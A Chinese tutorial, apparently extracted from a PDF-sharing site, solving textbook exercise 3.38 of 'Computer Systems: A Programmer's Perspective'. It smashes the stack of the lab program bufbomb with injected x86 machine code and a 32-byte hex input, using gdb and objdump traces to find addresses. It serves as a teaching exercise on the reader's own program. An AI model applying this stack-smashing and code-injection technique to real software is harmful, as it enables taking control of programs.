为了正常的体验网站,请在浏览器设置里面开启Javascript功能!

《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例

2012-04-30 22页 pdf 644KB 50阅读

用户头像

is_010806

暂无简介

举报
《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 1 / 22 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 作者:余祖波 Blog: http://blog.csdn.net/livelylittlefish, http://www.abo321.org Content 1. 问题描述 2. 目标分析与题解 2.1 修改源程序? 2.2 如何得到这个数字串? 2.3 如何获得可执行机器码? 2.3.1 如何让程序返回 0xdeadbeef? 2.3.2 如何保证机器码执行后返回到 retAdd...
《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例
1 / 22 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 作者:余祖波 Blog: http://blog.csdn.net/livelylittlefish, http://www.abo321.org Content 1. 问题描述 2. 目标分析与题解 2.1 修改源程序? 2.2 如何得到这个数字串? 2.3 如何获得可执行机器码? 2.3.1 如何让程序返回 0xdeadbeef? 2.3.2 如何保证机器码执行后返回到 retAddr处继续执行? 2.4 如何获得%ebp'和 buf缓冲区地址? 2.4.1 在 getbuf函数入口处设置断点,并运行程序 2.4.2 程序停在 0x40112f处 2.4.3 stepi执行 0x40112f处的代码,程序停在 0x00401132处 2.4.4 最后确定输入数据 2.5 此时程序的栈帧 2.6 输入数据在栈中的表示 2.7 确认 buf的地址 2.7.1 stepi继续执行 0x00401132处的代码,程序停在 0x00401135处 2.7.2 stepi继续执行 0x00401135处的代码,此时程序进入 getxs函数,停在 0x401050处 2.7.3 stepi继续执行 0x00401135处的代码 3. 验证 3.1 验证输入的数据存放在 buf开始的内存单元中 3.2 验证程序正确返回 3.2.1 程序即将要执行的代码 3.2.2 stepi继续执行 0x401128处的代码 3.2.3 程序跳转到 buf处开始执行我们输入的机器码(指令) 3.2 验证执行结果 4. 小结 4.1 若希望输出为 0x12345678呢? 4.2 若希望输出为 0xabc呢? 4.3 一些例子 Reference 1. 问题描述 在这个问题中,你要着手对你自己的程序进行缓冲区溢出攻击。前面我们说过,我们不能原谅用这种或其他形式的攻击来 获得对系统的未被授权的访问,但是通过这个联系,你会学到许多关于机器级编程的知识。 从 CS:APP的网站上下载文件 bufbomb.c,编译它创建一个可执行文件。在 bufbomb.c中,你会发现下面的函数。 1 int getbuf() 2 { 3 char buf[12]; 4 getxs(buf); 5 return 1; 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 2 / 22 6 } 7 8 void test() 9 { 10 int val; 11 printf("Type Hex string:"); 12 val = getbuf(); 13 printf("getbuf returned 0x%x\n", val); 14 } 函数 getxs(也在 bufbomb.c中)类似于库函数 gets,除了它是以十六进制数字对的编码方式读入字符的以外。比如 说,要给它一个字符串"0123",用户应该输入字符串“30 31 32 33”。这个函数会忽略空格字符。回忆一下,十进制数 字 x的 ASCII表示为 0x3x。 这个程序的典型执行是这样的: Unix>./bufbomb Type Hex string: 30 31 32 33 getbuf returned 0x1 看看 getbuf函数的代码,看上去似乎很明显,无论何时被调用,它都会返回值 1。看上去就好像调用 getxs没有产生效 果一样。你的任务是,只简单地对提示符输入一个适当的十六进制字符串,就使 getbuf对 test返回-559038737 (0xdeadbeef)。 下面这些建议可能会帮助你解决这个问题: o 用 objdump创建 bufbomb的一个反汇编版本。仔细研究,确定 getbuf的栈帧是如何组织的,以及溢出的缓冲区 会如何改变保存的程序状态。 o 在 gdb下运行你的程序。在 getbuf中设置一个断点,并运行到该断点。确定像%ebp的值这样的参数,以及已保存 的当缓冲区溢出时会被覆盖的所有状态的值。 o 手工确定指令序列的字节编码是很枯燥的,而且容易出错。可以用工具来完成这个工作,写一个汇编代码文件,包含 想要放入栈中的指令和数据。用 gcc汇编这个文件,再用 objdump反汇编它,就可以获得要在提示符处输入的字节 序列了。当 objdump试图反汇编你文件中的数据时,它会产生一些看上去非常奇怪的指令,但是十六进制字节序列 应该是正确的。 要记住,你的攻击是非常依赖于机器和编译器的。当运行在不同的机器上或使用不同版本 gcc时,可能需要改变你的字符 串。 笔者注: o 题目摘自《深入理解计算机系统》(中文版)第 200页。 o bufbomb.c文件下载地址 http://csapp.cs.cmu.edu/public/ics/code/asm/bufbomb.c 2. 目标分析与题解 看源程序可以发现,好像无论输入什么数据,其返回结果都是 1,打印出来的都是 0x1,似乎无从下手。另外,我们攻击 的目标只是让其返回 0xdeadbeef,不干别的。 实验环境:Winxp + cygwin + gcc(3.4.4) 2.1 修改源程序? 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 3 / 22 这是题目不允许的。题目的要求是输入一些数据,使其输出为 0xdeadbeef。输入什么样的数字串?这就是本题要求解的。 2.2 如何得到这个数字串? 如果了解程序的编译、链接、执行的过程即可知道,此题不是无解。 由《过程调用与栈帧》一文可知,过程调用时要将参数和返回地址压入栈中,然后进入被调过程执行,待从被调过程返回 时,弹出返回地址,将该地址存入%eip寄存器,并转到该地址开始执行。入栈和出栈均是对%esp指向的内存操作,其基 地址为%ebp。 假设,如果我们输入的是机器码,存放于该缓冲区中,注意到程序中的缓冲区只有 12字节,利用缓冲区溢出,将本应存放 test调用getbuf的返回地址的内存单元修改为存放可执行的机器码的地址,而这个地址就是我们的缓冲区地址,那么在 调用完getbuf后会返回到缓冲区地址处执行我们输入的机器码,在机器码中让程序输出oxdeadbeef,并正确返回继续执 行。这样会不会达到目标? 这句话有些拗口,总结来讲,就是将存放 test调用 getbuf的返回地址的内存单元的内容修改为 buf缓冲区的地址。 不对源程序进行编译、汇编,我们先手工画出 test调用 getbuf的栈帧结构。 其中, 'main','test','getbuf','getxs'均为函数名 %ebp'即为'test'栈帧的基地址 %ebp保存'getbuf'栈帧的基地址 %ebp+4保存 test调用'getbuf'的返回地址,即 retAddr 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 4 / 22 %esp指向'getbuf'栈帧的栈顶,其中存放 retAddr' retAddr是 test调用 getbuf后的返回地址,即程序第 13行 printf函数的地址 retAddr'是 getbuf调用 getxs 我们输入的数据存放在 buf指向的一段内存中,且数据由低地址到高地址存放(图中向上箭头所示)。 如果输入的数据不覆盖%ebp+4指向的内存,即 buf不溢出,getbuf将永远返回 1。 如果输入的数据覆盖%ebp+4指向的内存呢?即buf缓冲区溢出,会出现什么样的情况? 不能覆盖%ebp指向的内存,即其中的%ebp'不能被修改,如果被修改,程序将不能正确返回,甚至崩溃。 如果%ebp+4指向的内存被修改为 newAddr,即 retAddr被覆盖而存入 newAddr,则 test调用 getbuf后将返回到 newAddr处执行,newAddr要存放一段可执行的代码。 如果新填入%ebp+4的 newAddr是 buf缓冲区的起始地址,是否能达到目标?即 test调用 getbuf后将返回到 buf的 起始地址处执行。如果 newAddr是别的地址,这个地址无从得知,程序也变得不可控。因此,newAddr就是 buf的起始 地址。 这个newAddr是谁? 到此,基本可以确定如下内容: a. 输入的数据大致内容 可执行机器码 %ebp' newAddr 其中%ebp'必须还是存放在%ebp指向的内存中,newAddr存放在%ebp+4指向的内存中,newAddr=buf。 b. 输入数据的长度 %ebp+8-buf 其中,可执行机器码的长度为%ebp-buf;接下来的任务就是获得这段可执行的机器码。 2.3 如何获得可执行机器码? 首先,我们应该确定可执行机器码的功能: a. 让程序返回 0xdeadbeef b. 返回到%ebp+4指向的返回地址 retAddr处继续执行 必须保证第二点,程序才能正确返回。 如何在长度为%ebp-buf的机器码中实现以上功能? 2.3.1 如何让程序返回 0xdeadbeef? 先编译源程序,并显示目标文件中的汇编代码: $ gcc -o bufbomb bufbomb.c $ objdump -d bufbomb.exe > bufbomb.txt 在 bufbomb.txt文件中,我们可以发现 getbuf函数对应的汇编代码如下。 00401129 <_getbuf>: 401129: 55 push %ebp 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 5 / 22 40112a: 89 e5 mov %esp,%ebp 40112c: 83 ec 28 sub $0x28,%esp 40112f: 8d 45 e8 lea 0xffffffe8(%ebp),%eax 401132: 89 04 24 mov %eax,(%esp) 401135: e8 16 ff ff ff call 401050 <_getxs> 40113f: c9 leave 40113a: b8 01 00 00 00 mov $0x1,%eax 401140: c3 ret 从汇编代码中,可以看出,返回值 0x1被保存到%eax中,然后再返回的。 因此,要让程序返回 0xdeadbeef,首先要将 0xdeadbeef存入%eax中,其对应的汇编代码如下。 mov $0xdeadbeef,%eax 2.3.2 如何保证机器码执行后返回到retAddr处继续执行? 在 bufbomb.txt文件中,我们也可以找到 test函数对应的汇编代码如下。 00401141 <_test>: 401141: 55 push %ebp 401142: 89 e5 mov %esp,%ebp 401144: 83 ec 18 sub $0x18,%esp 401147: c7 04 24 00 20 40 00 movl $0x402000,(%esp) 40114e: e8 3d 01 00 00 call 401290 <_printf> 401153: e8 d1 ff ff ff call 401129 <_getbuf> 40115b: 8b 45 fc mov 0xfffffffc(%ebp),%eax 401158: 89 45 fc mov %eax,0xfffffffc(%ebp) 40115e: 89 44 24 04 mov %eax,0x4(%esp) 401162: c7 04 24 11 20 40 00 movl $0x402011,(%esp) 401169: e8 22 01 00 00 call 401290 <_printf> 40116e: c9 leave 40116f: c3 ret 从中可以看出,test调用 getbuf的返回地址为 0x401158,即 retAddr=0x401158。 我们知道,ret指令的作用是从过程调用中返回,其任务有两个:从栈中弹出返回地址,并跳转到那个位置。 因此,要保证机器码执行后返回到 retAddr=0x401158处继续执行,就需要将该地址压入栈中,遇到 ret指令时,再将 retAddr=0x401158从栈中弹出,并跳转到 0x401158处继续执行,就能保证程序正确返回到 test中,并继续执行。 而从 getbuf中返回时,返回值在%eax中,其值就是 oxdeadbeef。 因此,保证机器码执行后返回到 retAddr=0x401158处继续执行的机器码对应的汇编代码为: push $0x401158 ret 至此,我们已经获得了要执行的可执行机器码对应的汇编代码如下,保存为 bomb.s文件。 mov $0xdeadbeef,%eax push $0x401158 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 6 / 22 ret 编译这个文件并显示其目标文件中的汇编代码: $ gcc -c bomb.s $ objdump -d bomb.o bomb.o: file format pe-i386 Disassembly of section .text: 00000000 <.text>: 0: b8 ef be ad de mov $0xdeadbeef,%eax 5: 68 58 11 40 00 push $0x401158 a: c3 ret b: 90 nop c: 90 nop d: 90 nop e: 90 nop f: 90 nop 因此,我们获得的可执行机器码为: b8 ef be ad de 68 58 11 40 00 c3 从而,我们已经确定的输入数据为: b8 ef be ad de 68 58 11 40 00 c3 %ebp' newAddr 已经确定的可执行机器码长度为 11字节,剩下的事情就是确定%ebp'和 newAddr=buf的值了。 2.4 如何获得%ebp'和 buf缓冲区地址? %ebp'即为 test函数的栈帧基地址,其值是在程序链接后并在运行时才能确定的,buf缓冲区的起始地址也在程序运行 时确定,因此,我们需要调试代码,查看寄存器的值。调试过程如下。 2.4.1 在 getbuf函数入口处设置断点,并运行程序 $ gdb bufbomb.exe GNU gdb 6.3.50_2004-12-28-cvs (cygwin-special) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-cygwin"...(no debugging symbols found) (gdb) b getbuf Breakpoint 1 at 0x40112f (gdb) r 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 7 / 22 Starting program: /cygdrive/e/study/programming/linux/2009-12-18testBufBomb/bomb.exe Breakpoint 1, 0x0040112f in getbuf () (gdb) disassemble getbuf Dump of assembler code for function getbuf: 0x00401129 : push %ebp 0x0040112a : mov %esp,%ebp 0x0040112c : sub $0x28,%esp 0x00401132 : mov %eax,(%esp) 0x0040112f : lea 0xffffffe8(%ebp),%eax 0x00401135 : call 0x401050 0x0040113a : mov $0x1,%eax 0x0040113f : leave 0x00401140 : ret End of assembler dump. 2.4.2 程序停在 0x40112f处 对 getbuf的汇编代码解释如下: 0x00401129 : push %ebp //保存 test函数的栈帧基地址 0x0040112a : mov %esp,%ebp //设置 getbuf的栈帧基地址 0x0040112c : sub $0x28,%esp //分配栈空间,大小为 0x28,即 40字节 0x0040112f : lea 0xffffffe8(%ebp),%eax 0x00401132 : mov %eax,(%esp) //将%eax的值存入%esp指向的内存 //将%ebp-0x18存入%eax 0x00401135 : call 0x401050 //返回地址入栈,并转到 0x401050执行 0x0040113a : mov $0x1,%eax 0x0040113f : leave 0x00401140 : ret 查看各个寄存器的值,如下。 (gdb) info registers eax 0x10 16 ecx 0x611030e8 1628451048 edx 0x8889 34953 ebx 0x0 0 esp 0x22bf70 0x22bf70 ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x40112f 0x40112f eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 8 / 22 2.4.3 stepi执行 0x40112f处的代码,程序停在 0x00401132处 查看寄存器的值,如下。 (gdb) stepi 0x00401132 in getbuf () (gdb) info registers eax 0x22bf80 2277248 ecx 0x611030e8 1628451048 edx 0x8889 34953 ebx 0x0 0 esp 0x22bf70 0x22bf70 ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x401132 0x401132 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 可以看到,%ebp=0x22bf98,%esp=0x22bf70,%eax=0x22bf80=%ebp-0x18。因%eax的值是如下代码获得的,因 此,此时%eax的值是一个有效地址。 0x0040112f : lea 0xffffffe8(%ebp),%eax //将%ebp-0x18存入%eax 同时,我们再查看%esp指向的一块连续内存的内容,如下。 (gdb) x/20 0x22bf70 0x22bf70: 0x611021a0 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0x0022d008 0x611030e8 0x00402000 0x0022bfa4 0x22bf90: 0x61102edc 0x00000010 0x0022bfb8 0x00401158 0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026 0x22bfb0: 0x0000435c 0x0022bf28 0x0022cc98 0x004011db 可以看出,%ebp=0x22bf98指向的内存中存放的是 0x0022bfb8,这个地址就是test函数的栈帧基址, 即%ebp'=0x0022bfb8。该值在我们的输入数据中不能被覆盖(修改)。 2.4.4 最后确定输入数据 0x00401132处的代码如下。 0x00401132 : mov %eax,(%esp) //将%eax的值存入%esp指向的内存 至此,其实已经没有必要再执行了。0x00401132处的代码实际上就是将调用getxs的参数buf的地址存入栈中,但执行 的不是push操作,直接存放。因此即可确定buf缓冲区的起始地址,即buf=0x22bf80 (一般地,参数在%eax中。) 。 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 9 / 22 从而,我们已经确定的输入数据为: b8 ef be ad de 68 58 11 40 00 c3 0x0022bfb8 0x22bf80 b8 ef be ad de 68 58 11 40 00 c3 [此处若不够填充则补 0] 且%ebp'=0x0022bfb8存放在 0x22bf98单元中,而buf=0x22bf80存放在 0x22bf9c单元中。展开该数据,其输入形 式为: b8 bf 22 00 80 bf 22 00 2.5 此时程序的栈帧 2.6 输入数据在栈中的表示 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 10 / 22 将输入的数据填入缓冲区中,栈帧的变化如下。栈中划线的代码是我们已经确定的,黄色背景的代码是填充的。 其存放形式为: 高字节(高位) => 低地址 低字节(低位) => 高地址 例如 0x22bf98处的 0x0022bfb8, |-----------------| | 0x00 |0x22bf9b |-----------------| | 0x22 |0x22bf9a |-----------------| | 0xbf |0x22bf99 |-----------------| | 0xb8 |0x22bf98 |-----------------| 至此,我们确定的输入数据为: b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00 共 32字节,其中划线部分的 0要填满并使缓冲区溢出,从而使缓冲区的地址0x0022bf80 能被写入 0x22bf9c单元覆盖 原来的返回地址 0x00401158,从而使test调用getbuf返回时转到缓冲区的地址 0x0022bf80处执行我们的代码。 2.7 确认 buf的地址 2.7.1 stepi继续执行 0x00401132处的代码,程序停在 0x00401135处 此时寄存器和内存的值如下。 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 11 / 22 (gdb) stepi 0x00401135 in getbuf () (gdb) info registers eax 0x22bf80 2277248 ecx 0x611030e8 1628451048 edx 0x8889 34953 ebx 0x0 0 esp 0x22bf70 0x22bf70 ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x401135 0x401135 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/20 0x22bf70 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0x0022d008 0x611030e8 0x00402000 0x0022bfa4 0x22bf90: 0x61102edc 0x00000010 0x0022bfb8 0x00401158 0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026 0x22bfb0: 0x0000435c 0x0022bf28 0x0022cc98 (gdb) x/64xb 0x22bf70 0x004011db 0x22bf70: 0x80 0xbf 0x22 0x00 0xd0 0x14 0x40 0x00 0x22bf78: 0x98 0xbf 0x22 0x00 0x68 0x06 0x0f 0x61 0x22bf80: 0x08 0xd0 0x22 0x00 0xe8 0x30 0x10 0x61 0x22bf88: 0x00 0x20 0x40 0x00 0xa4 0xbf 0x22 0x00 0x22bf90: 0xdc 0x2e 0x10 0x61 0x10 0x00 0x00 0x00 0x22bf98: 0xb8 0xbf 0x22 0x00 0x58 0x11 0x40 0x00 0x22bfa0: 0x00 0x20 0x40 0x00 0x88 0xc3 0x22 0x00 0x22bfa8: 0x5c 0xc3 0x22 0x00 0x26 0x00 0x00 0x00 可以发现,%eax的值 0x0022bf80已被写入%esp=0x22bf70指向的内存。同时也可确定数据的存放形式。 2.7.2 stepi继续执行 0x00401135处的代码,此时程序进入 getxs函数,停在 0x401050处 0x00401135处的代码如下。 0x00401135 : call 0x401050 //返回地址入栈,并转到 0x401050执行 0x0040113a : mov $0x1,%eax call指令的任务有两个:将返回地址入栈,并转到目标地址继续执行。getbuf调用 getxs的返回地址为 0x0040113a。 call之前%esp=0x22bf70,而 call之后,%esp=0x22bf6c,返回地址 0x0040113a也被压入栈中地址为 0x22bf6c 的单元中。这些均可在如下的执行过程中得到验证。 (gdb) stepi 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 12 / 22 0x00401050 in getxs () (gdb) info registers eax 0x22bf80 2277248 ecx 0x611030e8 1628451048 edx 0x8889 34953 ebx 0x0 0 esp 0x22bf6c 0x22bf6c ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x401050 0x401050 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 2.7.3 stepi继续执行 0x00401135处的代码 getxs函数的汇编代码如下。 00401050 <_getxs>: 401050: 55 push %ebp 401051: 89 e5 mov %esp,%ebp 401053: 83 ec 18 sub $0x18,%esp 401056: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp) 40105d: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp) 401064: 8b 45 08 mov 0x8(%ebp),%eax 401067: 89 45 f0 mov %eax,0xfffffff0(%ebp) 40106a: e8 31 02 00 00 call 4012a0 <___getreent> ... 继续执行程序,直到停在 0x401056处,查看寄存器、内存的值如下。 (gdb) stepi 0x00401051 in getxs () (gdb) stepi 0x00401053 in getxs () (gdb) stepi 0x00401056 in getxs () (gdb) info registers eax 0x22bf80 2277248 ecx 0x611030e8 1628451048 edx 0x8889 34953 ebx 0x0 0 esp 0x22bf50 0x22bf50 ebp 0x22bf68 0x22bf68 esi 0x611021a0 1628447136 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 13 / 22 edi 0x4014d0 4199632 eip 0x401056 0x401056 eflags 0x206 518 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/20 0x22bf50 0x22bf60: 0x7c91043e 0x0022c2d0 0x0022bf98 0x0040113a 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0x0022d008 0x611030e8 0x00402000 0x0022bfa4 0x22bf90: 0x61102edc 0x00000010 0x0022bfb8 0x00401158 0x22bfa0: 0x00402000 0x0022c388 0x0022c35c 0x00000026 至此,即可确认我们前面的假设和分析。 3. 验证 3.1 验证输入的数据存放在 buf开始的内存单元中 要验证我们的结论,可以再次调试代码。但要在 getxs的汇编代码内部结尾处设置断点。我们先看看 getxs即将退出的 汇编代码。 00401050 <_getxs>: 401050: 55 push %ebp 401051: 89 e5 mov %esp,%ebp 401053: 83 ec 18 sub $0x18,%esp 401056: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp) 40105d: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp) ... 401119: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 40111c: c6 00 00 movb $0x0,(%eax) 40111f: 8d 45 f0 lea 0xfffffff0(%ebp),%eax 401122: ff 00 incl (%eax) 401124: 8b 45 08 mov 0x8(%ebp),%eax 401127: c9 leave 401128: c3 ret 在 0x401128处设置断点并重新运行程序,输入我们确定的数据。 b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00 查看寄存器和 buf=0x22bf80处的值,可以看出我们输入的数据已经保存在 buf=0x22bf80开始的 32个字节的内存单 元中。 (gdb) b *0x401128 《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例 14 / 22 Breakpoint 1 at 0x401128 (gdb) r Starting program: /cygdrive/e/study/programming/linux/2009-12-18testBufBomb/bufbomb.exe Type Hex string: b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00 Breakpoint 1, 0x00401128 in getxs () (gdb) info registers eax 0x22bf80 2277248 ecx 0x8885 34949 edx 0x0 0 ebx 0x0 0 esp 0x22bf6c 0x22bf6c ebp 0x22bf98 0x22bf98 esi 0x611021a0 1628447136 edi 0x4014d0 4199632 eip 0x401128 0x401128 eflags 0x202 514 cs 0x1b 27 ss 0x23 35 ds 0x23 35 es 0x23 35 fs 0x3b 59 gs 0x0 0 (gdb) x/16w 0x22bf60 0x22bf60: 0x00000001 0x0000000a 0x0022bf98 0x0040113a 0x22bf70: 0x0022bf80 0x004014d0 0x0022bf98 0x610f0668 0x22bf80: 0xadbeefb8 0x115868de 0x00c30040 0x00000000 0x22bf90: 0x00000000 0x00000000 0x0022bfb8 0x0022bf80 以上加下划线并粗体显示的部分即为我们输入的数据。 也可以使用如下命令验证存放于 buf=0x22bf80处的数据。 $1 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80} (gdb) p /x *0x22bf80@8 $2 = {0xadbeefb8, 0x115868de, 0xc30040, 0x0, 0x0, 0x0, 0x22bfb8, 0x22bf80} (gdb) p /a *0x22bf80@8
/
本文档为【《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。 本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。 网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。

历史搜索

    清空历史搜索